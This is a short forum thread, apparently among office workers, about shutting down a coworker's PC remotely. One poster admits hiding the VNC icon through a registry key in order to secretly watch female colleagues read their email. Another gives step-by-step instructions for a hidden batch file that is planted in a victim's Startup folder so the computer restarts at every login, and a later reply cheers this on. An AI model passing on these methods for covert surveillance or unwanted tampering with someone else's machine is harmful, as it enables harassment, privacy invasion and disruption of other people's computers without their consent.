IT guys, possible to remotely shutdown someone's PC at work?

jscotty, thats a good way to get someone fired...

vnc leaves an icon in the taskbar and changes colors when you access their computer.

i'd becareful on what you do to someone else's network. around here you'd be fired in no time, no questions asked if you gave yourself admin rights (although, here you'd never have the chance). tread lightly.

The idea here is to play dumb. "Admin rights? What's that? Is that something I get over the internet?"

When I worked in tech support we used VNC and we actually discovered the registry key that permits you to disable the icon. Initially we did that so that the users wouldn't screw with the icon and launch the application. I admit that I had used it to spy on girls at the company that I liked and so when I would watch them reading their email, I could use that to get into their head.

1. create a shutdown batch file. open notepad and paste the following script. replace the seconds variable with that timeframe you desire save the following as "yousuck.bat" (or whatever): SHUTDOWN /t:25 /r

2. hide the batch file. the windows directory would make a great choice.

3. create a shortcut to the file and place it inside their startup folder (i.e. F:\Documents and Settings\Name\Start Menu\Programs\Startup) or simply reroute an existing shortcut to the batch file.

4. lol

Thats fun, I would do that to people but in addition have another command window pop up with a message too. Does that shutdown command have the counter? I know there was a couple and there was one that you cannot close to stop it or anything.
